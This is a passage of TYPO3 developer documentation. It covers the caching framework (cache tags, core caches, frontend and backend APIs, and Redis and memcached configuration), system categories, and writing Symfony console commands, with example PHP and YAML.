Tags are used to drop specific cache entries when some information they are based on is changed.

Suppose the above plugin displays content based on different news entries. If one news entry is changed in the backend, all cache entries which are compiled from this news row must be dropped to ensure that the frontend renders the plugin content again and does not deliver old content on the next frontend call.

If - for example - the plugin uses news number one and two on one page, and news one on another page, the related cache entries should be tagged with these tags:

  • page 1, tags news_1, news_2
  • page 2, tag news_1

If entry 2 is changed, a simple backend logic (probably a hook in DataHandler) could be created, which drops all cache entries tagged with news_2. In this case the first entry would be invalidated while the second entry still exists in the cache after the operation.

While there is always exactly one identifier for each cache entry, an arbitrary number of tags can be assigned to an entry and one specific tag can be assigned to multiple cache entries. All tags a cache entry has are given to the cache when the entry is stored ("set").

Caches in the TYPO3 Core

The TYPO3 Core defines and uses several caching framework caches by default. This section gives an overview of default caches, its usage and behaviour. If not stated otherwise, the default database backend with variable frontend is used.

Since TYPO3 v6.2, the various caches are organized in groups. Three groups currently exist:

pages
Frontend-related caches.
system
System caches. Flushing system caches should be avoided as much as possible, as rebuilding them requires significant resources.
lowlevel
Low-level caches. Flushing low-level caches manually should be avoided completely.
all
All other caches.

Cache clearing commands can be issued to target a particular group. If a cache does not belong to a group, it will be flushed when the "all" group is flushed, but such caches should normally be transient anyway.

There are TSconfig options for permissions corresponding to each group.

The following caches exist in the TYPO3 Core:

  • core

    • Core cache for compiled php code. It should not be used by extensions.
    • Uses PhpFrontend with the SimpleFileBackend for maximum performance.
    • Stores Core internal compiled PHP code like concatenated ext_tables.php and ext_localconf.php files, autoloader and sprite configuration PHP files.
    • This cache is instantiated very early during bootstrap and can not be re configured by instance specific LocalConfiguration.php or similar.
    • Cache entries are located in directory typo3temp/var/cache/code/core or var/cache/code/core (for Composer installations). The full directory and any file in this directory can be safely removed and will be re-created upon next request. This is especially useful during development
    • group: system
  • hash

    • Stores several key-value based cache entries, mostly used during frontend rendering.
    • groups: all, pages
  • pages

    • The frontend page cache. Stores full frontend pages.
    • Content is compressed by default to reduce database memory and storage overhead.
    • groups: all, pages
  • pagesection

    • Used to store "parts of a page", for example used to store Typoscript snippets and compiled frontend templates.
    • Content is compressed by default to reduce database memory and storage overhead.
    • groups: all, pages
  • runtime

    • Runtime cache to store data specific for current request.
    • Used by several Core parts during rendering to re-use already calculated data.
    • Valid for one request only.
    • Can be re-used by extensions that have similar caching needs.
  • rootline

    • Cache for rootline calculations.
    • Quick and simple cache dedicated for Core usage, Should not be re-used by extensions.
    • groups: all, pages
  • imagesizes

    • Cache for imagesizes.
    • Should _only_ be cleared manually, if you know what you are doing.
    • groups: lowlevel
  • assets

    • Cache for assets.
    • Examples: Backend Icons, RTE or RequireJS Configuration
    • groups: system
  • l10n

    • Cache for the localized labels.
    • groups: system
  • fluid_template

    • Cache for Fluid templates.
    • groups: system
  • Extbase

    • Contains detailed information about a class' member variables and methods.
    • group: system
  • dashboard_rss

    • Contains the contents of RSS-Feeds retrieved by RSS widgets on the dashboard.
    • This cache can be used by extension authors for their own RSS widgets.

Garbage Collection Task

The Core system provides a Scheduler task to collect the garbage of all cache backends. This is important for backends like the database backend that do not remove old cache entries and tags internally. It is highly recommended to add this Scheduler task and run it once in a while (maybe once a day at night) for all used backends that do not delete entries which exceeded their lifetime on their own to free up memory or hard disk space.

Cache API

The caching framework architecture is based on the following classes:

  • \TYPO3\CMS\Core\Cache\Frontend\FrontendInterface : Main interface to handle cache entries of a specific cache. Different frontends and further interfaces exist to handle different data types.
  • \TYPO3\CMS\Core\Cache\Backend\BackendInterface : Main interface that every valid storage backend must implement. Several backends and further interfaces exist to specify specific backend capabilities. Some frontends require backends to implement additional interfaces.

Cache frontends

Frontend API

All frontends must implement the API defined in interface TYPO3\CMS\Core\Cache\Frontend\FrontendInterface. All operations on a specific cache must be done with these methods. The frontend object of a cache is the main object any cache manipulation is done with, usually the assigned backend object should not be used directly.

Method

Description

getIdentifier

Returns the cache identifier.

getBackend

Returns the backend instance of this cache. It is seldom needed in usual code.

set

Sets/overwrites an entry in the cache.

get

Returns the cache entry for the given identifier.

has

Checks for existence of a cache entry. Do no use this prior to get() since get() returns NULL if an entry does not exist.

remove

Removes the entry for the given identifier from the cache.

flushByTag

Flushes all cache entries which are tagged with the given tag.

collectGarbage

Calls the garbage collection method of the backend. This is important for backends which are unable to do this internally (like the DB backend).

isValidEntryIdentifier

Checks if a given identifier is valid.

isValidTag

Checks if a given tag is valid.

requireOnce

PhpFrontend only Requires a cached PHP file directly.

Available Frontends

Currently two different frontends are implemented. The main difference are the data types which can be stored using a specific frontend.

Variable Frontend

Strings, arrays and objects are accepted by this frontend. Data is serialized before it is passed to the backend.

PHP Frontend

This is a special frontend to cache PHP files. It extends the string frontend with the method requireOnce() which allows PHP files to be require()'d if a cache entry exists. This can be used by extensions to cache and speed up loading of calculated PHP code and becomes handy if a lot of reflection and dynamic PHP class construction is done.

A backend to be used in combination with the PHP frontend must implement the interface TYPO3\CMS\Core\Cache\Backend\PhpCapableBackendInterface. Currently the file backend and the simple file backend fulfill this requirement.

Cache backends

A variety of storage backends exists. They have different characteristics and can be used for different caching needs. The best backend depends on a given server setup and hardware, as well as cache type and usage. A backend should be chosen wisely, as a wrong decision could end up actually slowing down a TYPO3 installation.

Backend API

All backends must implement at least interface TYPO3\CMS\Core\Cache\Backend\BackendInterface. All operations on a specific cache must be done with these methods. There are several further interfaces that can be implemented by backends to declare additional capabilities. Usually, extension code should not handle cache backend operations directly, but should use the frontend object instead.

Method

Description

setCache

Reference to the frontend which uses the backend. This method is mostly used internally.

set

Save data in the cache.

get

Load data from the cache.

has

Checks if a cache entry with the specified identifier exists.

remove

Remove a cache entry with the specified identifier.

flush

Remove all cache entries.

collectGarbage

Does garbage collection.

flushByTag

TaggableBackendInterface only Removes all cache entries which are tagged by the specified tag.

findIdentifiersByTag

TaggableBackendInterface only Finds and returns all cache entry identifiers which are tagged by the specified tag.

requireOnce

PhpCapableBackendInterface only Loads PHP code from the cache and require_onces it right away.

freeze

FreezableBackendInterface only Freezes this cache backend.

isFrozen

FreezableBackendInterface only Tells if this backend is frozen.

Common Options

Option

Description

Mandatory

Type

Default

defaultLifetime

Default lifetime in seconds of a cache entry if it is not specified for a specific entry on set()

No

integer

3600

Database Backend

This is the main backend suitable for most storage needs. It does not require additional server daemons nor server configuration.

The database backend does not automatically perform garbage collection. Instead the Scheduler garbage collection task should be used.

It stores data in the configured database (usually MySQL) and can handle large amounts of data with reasonable performance. Data and tags are stored in two different tables, every cache needs its own set of tables. In terms of performance the database backend is already pretty well optimized and should be used as default backend if in doubt. This backend is the default backend if no backend is specifically set in the configuration.

The Core takes care of creating and updating required database tables "on the fly".

For caches with a lot of read and write operations, it is important to tune the MySQL setup. The most important setting is innodb_buffer_pool_size. A generic goal is to give MySQL as much RAM as needed to have the main table space loaded completely in memory.

The database backend tends to slow down if there are many write operations and big caches which do not fit into memory because of slow harddrive seek and write performance. If the data table grows too big to fit into memory, it is possible to compress given data transparently with this backend, which often shrinks the amount of needed space to 1/4 or less. The overhead of the compress/uncompress operation is usually not high. A good candidate for a cache with enabled compression is the Core pages cache: it is only read or written once per request and the data size is pretty large. The compression should not be enabled for caches which are read or written multiple times during one request.

InnoDB Issues

The database backend for MySQL uses InnoDB tables. Due to the nature of InnoDB, deleting records does not reclaim the actual disk space. E.g. if the cache uses 10GB, cleaning it will still keep 10GB allocated on the disk even though phpMyAdmin will show 0 as the cache table size. To reclaim the space, turn on the MySQL option file_per_table, drop the cache tables and re-create them using the Install Tool. This does not by any mean that you should skip the scheduler task. Deleting records still improves performance.

Options

Option

Description

Mandatory

Type

Default

compression

Whether or not data should be compressed with gzip. This can reduce size of the cache data table, but incurs CPU overhead for compression and decompression.

No

boolean

false

compressionLevel

Gzip compression level (if the compression option is set to true). The default compression level is usually sufficient.

  • -1: Default gzip compression (recommended)
  • 0: No compression
  • 9: Maximum compression (costs a lot of CPU)

No

integer from -1 to 9

-1

Memcached Backend

Memcached is a simple, distributed key/value RAM database. To use this backend, at least one memcached daemon must be reachable, and the PECL module "memcache" must be loaded. There are two PHP memcached implementations: "memcache" and "memcached". Currently, only memcache is supported by this backend.

Warning and Design Constraints

Memcached is a simple key-value store by design . Since the caching framework needs to structure it to store the identifier-data-tags relations, for each cache entry it stores an identifier->data, identifier->tags and a tag->identifiers entry.

This leads to structural problems:

  • If memcache runs out of memory but must store new entries, it will toss some other entry out of the cache (this is called an eviction in memcached speak).
  • If data is shared over multiple memcache servers and some server fails, key/value pairs on this system will just vanish from cache.

Both cases lead to corrupted caches. If, for example, a tags->identifier entry is lost, dropByTag() will not be able to find the corresponding identifier->data entries which should be removed and they will not be deleted. This results in old data delivered by the cache. Additionally, there is currently no implementation of the garbage collection that could rebuild cache integrity.

It is important to monitor a memcached system for evictions and server outages and to clear caches if that happens.

Furthermore memcache has no sort of namespacing. To distinguish entries of multiple caches from each other, every entry is prefixed with the cache name. This can lead to very long runtimes if a big cache needs to be flushed, because every entry has to be handled separately and it is not possible to just truncate the whole cache with one call as this would clear the whole memcached data which might even hold non TYPO3 related entries.

Because of the mentioned drawbacks, the memcached backend should be used with care or in situations where cache integrity is not important or if a cache has no need to use tags at all. Currently, the memcache backend implements the TaggableBackendInterface, so the implementation does allow tagging, even if it is not advised to used this backend together with heavy tagging.

Options

Option

Description

Mandatory

Type

Default

servers

Array of used memcached servers. At least one server must be defined. Each server definition is a string, allowed syntaxes:

  • hostname or IP: TCP connect to host on memcached default port (usually 11211, defined by PHP ini variable memcache.default_port)
  • hostname:port: TCP connect to host on port
  • tcp://hostname:port: Same as above
  • unix:///path/to/memcached.sock: Connect to memcached server using unix sockets

Yes

array

 

compression

Enable memcached internal data compression. Can be used to reduce memcached memory consumption, but adds additional compression / decompression CPU overhead on the related memcached servers.

No

boolean

false

Redis Backend

Redis is a key-value storage/database. In contrast to memcached, it allows structured values. Data is stored in RAM but it allows persistence to disk and doesn't suffer from the design problems of the memcached backend implementation. The redis backend can be used as an alternative to the database backend for big cache tables and helps to reduce load on database servers this way. The implementation can handle millions of cache entries each with hundreds of tags if the underlying server has enough memory.

Redis is known to be extremely fast but very memory hungry. The implementation is an option for big caches with lots of data because most important operations perform O(1) in proportion to the number of (redis) keys. This basically means that the access to an entry in a cache with a million entries is not slower than to a cache with only 10 entries, at least if there is enough memory available to hold the complete set in memory. At the moment only one redis server can be used at a time per cache, but one redis instance can handle multiple caches without performance loss when flushing a single cache.

The implementation is based on the PHP phpredis module, which must be available on the system.

Redis example

The Redis caching backend configuration is very similar to that of other backends, but there is one caveat.

TYPO3 caches should be separated in case the same keys are used. This applies to the pages and pagesection caches. Both use "tagIdents:pageId_21566" for a page with an id of 21566. How you separate them is more of a system administrator decision. We provide examples with several databases but this may not be the best option in production where you might want to use multiple cores (which do not support databases). The separation has the additional advantage that caches can be flushed individually.

If you have several of your own caches which each use unique keys (for example by using a different prefix for the cache identifier for each cache), you can store them in the same database, but it is good practice to separate the core caches.

public/typo3conf/AdditionalConfiguration.php
$redisHost = '127.0.0.1';
$redisPort = 6379;
$redisCaches = [
    'pages' => [
         'defaultLifetime' => 86400*7,
         'compression' => true,
    ],
    'pagesection' => [
         'defaultLifetime' => 86400*7,
    ],
    'hash' => [],
    'rootline' => [],
];
$redisDatabase = 0;
foreach ($redisCaches as $name => $values) {
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['backend']
      = \TYPO3\CMS\Core\Cache\Backend\RedisBackend::class;
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['options'] = [
        'database' => $redisDatabase++,
        'hostname' => $redisHost,
        'port' => $redisPort
    ];
    if (isset($values['defaultLifetime'])) {
           $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['options']['defaultLifetime']
               = $values['defaultLifetime'];
    }
    if (isset($values['compression'])) {
           $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['options']['compression']
               = $values['compression'];
    }
}
Copied!

Options

Option

Description

Mandatory

Type

Default

hostname

IP address or name of redis server to connect to.

No

string

127.0.0.1

port

Port of the redis daemon.

No

integer

6379

persistentConnection

Activate a persistent connection to redis server. This could be a benefit under high load cloud setups.

No

boolean

false

database

Number of the database to store entries. Each cache should use its own database, otherwise all caches sharing a database are flushed if the flush operation is issued to one of them. Database numbers 0 and 1 are used and flushed by the Core unit tests and should not be used if possible.

No

integer

password

Password used to connect to the redis instance if the redis server needs authentication.

No

string

 

compression

Whether or not data compression with gzip should be enabled. This can reduce cache size, but adds some CPU overhead for the compression and decompression operations in PHP.

No

boolean

false

compressionLevel

Set gzip compression level to a specific value. The default compression level is usually sufficient.

  • -1: Default gzip compression (recommended)
  • 0: No compression
  • 9: Maximum compression (but more CPU overhead)

No

integer from -1 to 9

-1

Redis server configuration

This section is about the configuration on the Redis server, not the client.

For the flushing by cache tags to work, it is important that the integrity of the cache entries and cache tags is maintained. This may not be the case, depending on which eviction policy (maxmemory-policy) is used. For example, for a page id=81712, the following entries may exist in the Redis page cache:

  1. "tagIdents:pageId_81712" (tag->identifier relation)
  2. "identTags:81712_7e9c8309692aa221b08e6d5f6ec09fb6" (identifier->tags relation)
  3. "identData:81712_7e9c8309692aa221b08e6d5f6ec09fb6" (identifier->data)

If entries are evicted (due to memory shortage), there is no mechanism in place which ensures that all entries which are related, will be evicted. If maxmemory-policy allkeys-lru is used, for example, this may result in the situation that the cache entry (identData) still exists, but the tag entry (tagIdents) does not. The tag entry reflects the relation "cache tag => cache identifier" and is used for RedisBackend::flushByTag()). If this entry is gone, the cache can no longer be flushed if content is changed on the page or an explicit flushing of the page cache for this page is requested. Once this is the case, cache flushing (for this page) is only possible via other means (such as full cache flush).

Because of this, the following recommendations apply:

  1. Allocate enough memory (maxmemory) for the cache.
  2. Use the maxmemory-policy volatile-ttl. This will ensure that no tagIdents entries are removed. (These have no expiration date).
  3. Regularly run the TYPO3 scheduler garbage collection task for the Redis cache backend.
  4. Monitor evicted_keys in case an eviction policy is used.
  5. Monitor used_memory if eviction policy noeviction is used. The used_memory should always be less then maxmemory.

The maxmemory-policy options have the following drawbacks:

volatile-ttl
(recommended) Will flush only entries with an expiration date. Should be ok with TYPO3.
noeviction
(Not recommended) Once memory is full, no new entries will be saved to cache. Only use if you can ensure that there is always enough memory.
allkeys-lru, allkeys-lfu, allkeys-random
(Not recommended) This may result in tagIdents being removed, but not the related identData entry, which makes it impossible to flush the cache entries by tag (which is necessary for TYPO3 cache flushing on changes to work and the flush page cache to work for specific pages).

Wincache Backend

Wincache is a PHP opcode cache similar to APC, but dedicated to the Windows OS platform. Similar to APC, the cache can also be used as in-memory key/value cache.

File Backend

The file backend stores every cache entry as a single file to the file system. The lifetime and tags are added after the data part in the same file.

This backend is the big brother of the Simple file backend and implements additional interfaces. Like the simple file backend it also implements the PhpCapableInterface, so it can be used with PhpFrontend. In contrast to the simple file backend it furthermore implements TaggableInterface and FreezableInterface.

A frozen cache does no lifetime check and has a list of all existing cache entries that is reconstituted during initialization. As a result, a frozen cache needs less file system look ups and calculation time if accessing cache entries. On the other hand, a frozen cache can not manipulate (remove, set) cache entries anymore. A frozen cache must flush the complete cache again to make cache entries writable again. Freezing caches is currently not used in the TYPO3 Core. It can be an option for code logic that is able to calculate and set all possible cache entries during some initialization phase, to then freeze the cache and use those entries until the whole thing is flushed again. This can be useful especially if caching PHP code.

In general, the backend was specifically optimized to cache PHP code, the get and set operations have low overhead. The file backend is not very good with tagging and does not scale well with the number of tags. Do not use this backend if cached data has many tags.

Options

Option

Description

Mandatory

Type

Default

cacheDirectory

The directory where the cache files are stored. By default it is assumed that the directory is below TYPO3_DOCUMENT_ROOT. However, an absolute path can be selected, too. Every cache should be assigned its own directory, otherwise flushing of one cache would flush all other caches within the same directory as well.

No

string

typo3temp/cache/

Simple File Backend

The simple file backend is the small brother of the file backend. In contrast to most other backends, it does not implement the TaggableInterface, so cache entries can not be tagged and flushed by tag. This improves the performance if cache entries do not need such tagging. The TYPO3 Core uses this backend for its central Core cache (that hold autoloader cache entries and other important cache entries). The Core cache is usually flushed completely and does not need specific cache entry eviction.

PDO Backend

The PDO backend can be used as a native PDO interface to databases which are connected to PHP via PDO. It is an alternative to the database backend if a cache should be stored in a database which is otherwise only supported by TYPO3 dbal to reduce the parser overhead.

The garbage collection is implemented for this backend and should be called to clean up hard disk space or memory.

Options

Option

Description

Mandatory

Type

Default

dataSourceName

Data source name for connecting to the database. Examples:

  • mysql:host=localhost;dbname=test
  • sqlite:/path/to/sqlite.db
  • sqlite::memory

Yes

string

 

username

Username for the database connection.

No

string

 

password

Password to use for the database connection.

No

string

 

Transient Memory Backend

The transient memory backend stores data in a PHP array. It is only valid for one request. This becomes handy if code logic needs to do expensive calculations or must look up identical information from a database over and over again during its execution. In this case it is useful to store the data in an array once and lookup the entry from the cache for consecutive calls to get rid of the otherwise additional overhead. Since caches are available system wide and shared between Core and extensions they can profit from each other if they need the same information.

Since the data is stored directly in memory, this backend is the quickest backend available. The stored data adds to the memory consumed by the PHP process and can hit the memory_limit PHP setting.

Null Backend

The null backend is a dummy backend which doesn't store any data and always returns false on get(). This backend becomes handy in development context to practically "switch off" a cache.

Developer Information

This chapter is targeted at extension authors who want to use the caching framework for their needs. It is about how to use the framework properly. For details about its inner working, please refer to the section about architecture.

Example usages can be found throughout the TYPO3 Core, in particular in the system extensions core and extbase.

Cache Registration

Registration of a new cache should be done in an extension's ext_localconf.php. The example below defines an empty sub-array in cacheConfigurations. Neither frontend nor backend are defined: The cache manager will choose the default variable frontend and the database backend by default.

EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache']
    ??= [];
Copied!

If special settings are needed, for example a specific backend (like the transient memory backend), it can be defined with an additional line below the cache array declaration. The extension documentation should hint an integrator about specific caching needs or setups in this case.

EXT:my_extension/ext_localconf.php
// use \TYPO3\CMS\Core\Cache\Backend\TransientMemoryBackend;
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache']
    ??= [];
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache']['backend']
    ??= TransientMemoryBackend::class;
Copied!

Using the Cache

First, we need to prepare injection of our cache by setting it up as service in the container service configuration:

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  Vendor\MyExtension\:
    resource: '../Classes/*'

  cache.myext_mycache:
    class: TYPO3\CMS\Core\Cache\Frontend\FrontendInterface
    factory: ['@TYPO3\CMS\Core\Cache\CacheManager', 'getCache']
    arguments: ['myext_mycache']
Copied!

The name of the service for the injection configuration is cache.myext_mycache, the name of the cache is myext_mycache (as defined in ext_localconf.php). Both can be anything you like, just make sure they are unique and clearly hint at the purpose of your cache.

Here is some example code which retrieves the cache via dependency injection:

EXT:my_extension/Classes/MyClass.php
namespace Vendor\MyExtension;

use TYPO3\CMS\Core\Cache\Frontend\FrontendInterface;

class MyClass
{
    private FrontendInterface $cache;

    public function __construct(FrontendInterface $cache)
    {
        $this->cache = $cache;
    }

    protected function getCachedValue()
    {
        $cacheIdentifier = /* ... logic to determine the cache identifier ... */;

        // If $entry is false, it hasn't been cached. Calculate the value and store it in the cache:
        if (($value = $this->cache->get($cacheIdentifier)) === false) {
            $value = /* ... Logic to calculate value ... */;
            $tags = /* ... Tags for the cache entry ... */
            $lifetime = /* ... Calculate/Define cache entry lifetime ... */

            // Save value in cache
            $this->cache->set($cacheIdentifier, $value, $tags, $lifetime);
        }

        return $value;
    }
Copied!

Since the auto-wiring feature of the dependency injection container cannot detect which cache configuration should be used for the $cache argument of MyClass, the container service configuration needs to be extended:

EXT:my_extension/Configuration/Services.yaml
services:
  # other configurations

  Vendor\MyExtension\MyClass:
    arguments:
      $cache: '@cache.myext_mycache'
Copied!

Here @cache.myext_mycache refers to the cache service we defined above. This setup allows you to freely inject the very same cache into any class.

System categories

TYPO3 provides a generic categorization system. Categories can be created in the backend like any other type of record.

A TCA field of the column type category is available.

Pages, content elements and files contain category fields by default.

Changed in version 11.4

Starting with v11.4 the formerly used PHP function ExtensionManagementUtility::makeCategorizable() is deprecated and removed with v12.0. Use a TCA field of the type category instead.

Using Categories

Managing Categories

System categories are defined like any other record. Each category can have a parent, making a tree-like structure.

A category with a parent defined

The Items tab shows all related records, for example all records that have been marked as belonging to this category.

Adding categories to a table

Deprecated since version 11.4

Starting with v11.4 Defining category fields for tables with $GLOBALS['TYPO3_CONF_VARS']['SYS']['defaultCategorizedTables'] or by calling ExtensionManagementUtility::makeCategorizable() is deprecated.

Categories can be added to a table by defining a TCA field of the TCA column type category. While using this type, TYPO3 takes care of generating the necessary TCA configuration and also adds the database column automatically. Developers only have to configure the TCA column and add it to the desired record types:

$GLOBALS['TCA'][$myTable]['columns']['categories'] = [
   'config' => [
      'type' => 'category'
   ]
];

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes(
   $myTable,
   'categories'
);
Copied!

This is the result of the above code:

The newly added field to define relations to categories

Using categories in FlexForms

It is possible to create relations to categories also in FlexForms.

Due to some limitations in FlexForm, the property relationship manyToMany is not supported. Therefore, the default value for this property is oneToMany.

<T3DataStructure>
    <ROOT>
        <TCEforms>
            <sheetTitle>aTitle</sheetTitle>
        </TCEforms>
        <type>array</type>
        <el>
            <categories>
                <TCEforms>
                    <config>
                        <type>category</type>
                    </config>
                </TCEforms>
            </categories>
        </el>
    </ROOT>
</T3DataStructure>
Copied!

System categories API

Deprecated since version 11.4

Starting with v 11.4 the API function ExtensionManagementUtility::makeCategorizable() and the class CategoryRegistry have been deprecated. Use a TCA field of the type category instead.

Category Collections

The \TYPO3\CMS\Core\Category\Collection\CategoryCollection class provides the API for retrieving records related to a given category. It is extended by class \TYPO3\CMS\Frontend\Category\Collection\CategoryCollection which does the same job but in the frontend, i.e. respecting all enable fields and performing version and language overlays.

The main method is load() which will return a traversable list of items related to the given category. Here is an example usage, taken from the RECORDS content object:

$collection = \TYPO3\CMS\Frontend\Category\Collection\CategoryCollection::load(
   $aCategory,
   true,
   $table,
   $relationField
);
if ($collection->count() > 0) {
   // Add items to the collection of records for the current table
   foreach ($collection as $item) {
      $tableRecords[$item['uid']] = $item;
      // Keep track of all categories a given item belongs to
      if (!isset($categoriesPerRecord[$item['uid']])) {
         $categoriesPerRecord[$item['uid']] = [];
      }
      $categoriesPerRecord[$item['uid']][] = $aCategory;
   }
}
Copied!

As all collection classes in the TYPO3 Core implement the Iterator interface, it is also possible to use expected methods like next(), rewind(), etc. Note that methods such as add() will only add items to the collection temporarily. The relations are not persisted in the database.

Usage with TypoScript

In the frontend, it is possible to get collections of categorized records loaded into a RECORDS content object for rendering. Check out the categories property.

The HMENU object also has a "categories" special type to display a menu based on categorized pages.

User permissions for system categories

In most aspects, system categories are treated like any other record. They can be viewed or edited by editors if they are stored in a folder where the editor has access to and if the table sys_category is allowed in the field Tables (listing) and Tables (modify) in the tab Access Lists of the user group.

Additionally it is possible to set Mounts and Workspaces > Category Mounts in the user group. If at least one category is set in the category mounts only the chosen categories are allowed to be attached to records.

Console commands (CLI)

It is possible to run TYPO3 scripts from the command line. This functionality can be used to set up cron jobs, for example.

TYPO3 uses Symfony commands API for writing CLI (command line interface) commands. These commands can also be run from the TYPO3 scheduler if this option is not disabled in the Configuration/Services.yaml.

Run a command from the command line

You can list the available commands by calling:

vendor/bin/typo3
Copied!
typo3/sysext/core/bin/typo3
Copied!

For example, you can clear all caches by calling:

vendor/bin/typo3 cache:flush
Copied!
typo3/sysext/core/bin/typo3 cache:flush
Copied!

Show help for the command:

vendor/bin/typo3 cache:flush -h
Copied!
typo3/sysext/core/bin/typo3 cache:flush -h
Copied!

Running the command from the scheduler

By default, it is possible to run a command from the TYPO3 scheduler as well. To do this, select the task Execute console commands followed by your command in the Schedulable Command field.

In order to prevent commands from being set up as scheduler tasks, see 1. Register the command.

Create a custom command

See the Tutorial: Create a console command for details on how to create commands.

DataHandler usage

Using the DataHandler in a CLI command requires backend authentication. See Using the DataHandler in a Symfony command for more information.

Read more

Tutorial

Create a console command from scratch

A console command is always situated in an extension. If you want to create one, kickstart a custom extension or use your sitepackage extension.

Creating a basic command

The extension kickstarter "Make" offers a convenient console command that creates a new command in an extension of your choice: Create a new console command with "Make". You can use "Make" to create a console command even if your extension was created by different means.

This command can be found in the Examples extension.

1. Register the command

Register the command in Configuration/Services.yaml by adding the service definition for your class as tag console.command:

EXT:examples/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  T3docs\Examples\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'

  T3docs\Examples\Command\DoSomethingCommand:
    tags:
      - name: console.command
        command: 'examples:dosomething'
        description: 'A command that does nothing and always succeeds.'
      # Also an alias for the command can be configured
      - name: console.command
        command: 'examples:dosomethingalias'
        alias: true
Copied!

The following attributes are available:

command
The name under which the command is available.
description
Give a short description. It will be displayed in the list of commands and the help information of the command.
schedulable
By default, a command can be used in the scheduler, too. This can be disabled by setting schedulable to false.
hidden
A command can be hidden from the command list by setting hidden to true.
alias
A command can be made available under a different name. Set to true, if your command name is an alias.

2. Create the command class

Create a class called DoSomethingCommand extending \Symfony\Component\Console\Command\Command.

EXT:examples/Classes/Command/DoSomethingCommand.php
<?php

declare(strict_types=1);

namespace T3docs\Examples\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class DoSomethingCommand extends Command
{
    protected function configure(): void
    {
        $this->setHelp('This command does nothing. It always succeeds.');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        // Do awesome stuff
        return Command::SUCCESS;
    }
}
Copied!

The following two methods should be overridden by your class:

configure()
As the name would suggest, allows to configure the command. The method allows to add a help text and/or define arguments and options.
execute()
Contains the logic when executing the command. Must return an integer. It is considered best practice to return the constants Command::SUCCESS or Command::FAILURE.

3. Run the command

The above example can be run via command line:

vendor/bin/typo3 examples:dosomething
Copied!
typo3/sysext/core/bin/typo3 examples:dosomething
Copied!

The command will return without a message as it does nothing but stating it succeeded.

Create a command with arguments and interaction

Passing arguments

Since a command extends \Symfony\Component\Console\Command\Command, it is possible to define arguments (ordered) and options (unordered) using the Symfony command API. This is explained in depth on the following Symfony Documentation page:

Add an optional argument and an optional option to your command:

EXT:examples/Classes/Command/CreateWizardCommand.php
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputOption;

final class CreateWizardCommand extends Command
{
    protected function configure(): void
    {
        $this
            ->setHelp('This command accepts arguments')
            ->addArgument(
                'wizardName',
                InputArgument::OPTIONAL,
                'The wizard\'s name'
            )
            ->addOption(
                'brute-force',
                'b',
                InputOption::VALUE_NONE,
                'Allow the "Wizard of Oz". You can use --brute-force or -b when running command'
            );
    }
}
Copied!

This command takes one optional argument wizardName and one optional option, which can be passed on the command line:

vendor/bin/typo3 examples:createwizard [-b] [wizardName]
Copied!
typo3/sysext/core/bin/typo3 examples:createwizard [-b] [wizardName]
Copied!

This argument can be retrieved with $input->getArgument(), the options with $input->getOption(), for example:

EXT:examples/Classes/Command/CreateWizardCommand.php
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use T3docs\Examples\Exception\InvalidWizardException;

final class CreateWizardCommand extends Command
{
    protected function execute(
        InputInterface $input,
        OutputInterface $output
    ): int {
        $io = new SymfonyStyle($input, $output);
        $wizardName = $input->getArgument('wizardName');
        $bruteForce = (bool)$input->getOption('brute-force');
        try {
            $this->doMagic($io, $wizardName, $bruteForce);
        } catch (InvalidWizardException) {
            return Command::FAILURE;
        }
        return Command::SUCCESS;
    }
}
Copied!

User interaction on the console

You can create a SymfonyStyle console user interface from the $input and $output parameters to the execute() function:

EXT:examples/Classes/Command/CreateWizardCommand.php
use Symfony\Component\Console\Style\SymfonyStyle;

final class CreateWizardCommand extends Command
{
    protected function execute(
        InputInterface $input,
        OutputInterface $output
    ): int {
        $io = new SymfonyStyle($input, $output);
        // do some user interaction
        return Command::SUCCESS;
    }
}
Copied!

The $io variable can then be used to generate output and prompt for input:

EXT:examples/Classes/Command/CreateWizardCommand.php
use Symfony\Component\Console\Style\SymfonyStyle;
use T3docs\Examples\Exception\InvalidWizardException;

final class CreateWizardCommand extends Command
{
    private function doMagic(
        SymfonyStyle $io,
        mixed $wizardName,
        bool $bruteForce
    ) {
        $io->comment('Trying to create wizard ' . $wizardName . '...');
        if ($wizardName === null) {
            $wizardName = (string)$io->ask(
                'Enter the wizard\'s name (e.g. "Gandalf the Grey")',
                'Lord Voldermort'
            );
        }
        if (!$bruteForce && $wizardName === 'Oz') {
            $io->error('The Wizard of Oz is not allowed. Use --brute-force to allow it.');
            throw new InvalidWizardException();
        }
        $io->success('The wizard ' . $wizardName . ' was created');
    }
}
Copied!

Dependency injection in console commands

You can use dependency injection (DI) in console commands by constructor injection or method injection:

EXT:examples/Classes/Command/MeowInformationCommand.php
use T3docs\Examples\Http\MeowInformationRequester;

final class MeowInformationCommand extends Command
{
    public function __construct(
        private readonly MeowInformationRequester $requester,
    ) {
        parent::__construct();
    }
}
Copied!

Initialize backend user

A backend user can be initialized with this call inside execute() method:

EXT:some_extension/Classes/Command/DoBackendRelatedThingsCommand.php
use TYPO3\CMS\Core\Core\Bootstrap;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

final class DoBackendRelatedThingsCommand extends Command
{
    protected function execute(InputInterface $input, OutputInterface $output): int
    {
